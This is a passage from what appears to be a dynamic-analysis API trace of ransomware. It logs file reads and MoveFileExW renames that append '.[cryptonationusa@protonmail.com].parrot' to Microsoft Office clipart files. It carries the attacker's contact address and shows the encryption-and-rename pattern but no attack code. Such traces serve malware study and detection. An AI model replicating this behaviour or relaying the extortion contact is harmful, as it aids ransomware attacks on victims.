office\\clipart\\pub60cor\\so02067_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.107] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.109] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.109] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.111] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b4a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b4a, lpOverlapped=0x0) returned 1 [0153.111] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02094_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02094_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.114] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0153.116] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.116] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.132] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.132] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x540, lpOverlapped=0x0) returned 1 [0153.133] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.133] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02227_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02227_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0153.138] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.138] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.139] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.140] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x334, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x334, lpOverlapped=0x0) returned 1 [0153.140] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02228_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02228_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.143] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0153.145] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.145] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.147] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x900, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x900, lpOverlapped=0x0) returned 1 [0153.147] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.148] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02233_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02233_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.155] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.155] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.157] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.157] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe88, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe88, lpOverlapped=0x0) returned 1 [0153.158] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02252_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02252_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.160] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0153.163] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.163] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.165] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8e0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8e0, lpOverlapped=0x0) returned 1 [0153.165] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02253_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02253_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.168] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.172] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.174] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x818, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x818, lpOverlapped=0x0) returned 1 [0153.174] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02261_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02261_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.177] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.179] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.179] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.180] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa94, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa94, lpOverlapped=0x0) returned 1 [0153.181] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.181] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02263_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02263_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.183] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.185] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.185] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.186] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.186] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x38c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x38c, lpOverlapped=0x0) returned 1 [0153.187] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.187] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02265_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02265_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.189] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0153.191] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.191] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.193] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x61c, lpOverlapped=0x0) returned 1 [0153.193] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.193] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02268_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02268_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.195] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.197] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.197] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.199] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaf0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaf0, lpOverlapped=0x0) returned 1 [0153.199] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.200] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02269_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02269_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.202] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.204] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.204] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.206] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa68, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa68, lpOverlapped=0x0) returned 1 [0153.206] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02270_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02270_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.209] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0153.212] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.212] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.216] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.216] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30e4, lpOverlapped=0x0) returned 1 [0153.217] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02276_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02276_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0153.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.220] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0153.222] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.222] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.224] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.224] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x17a1c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x17a1c, lpOverlapped=0x0) returned 1 [0153.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.230] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02413_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02413_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0153.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0153.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0153.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0153.234] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0153.234] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0153.236] SetFilePointerEx (in: 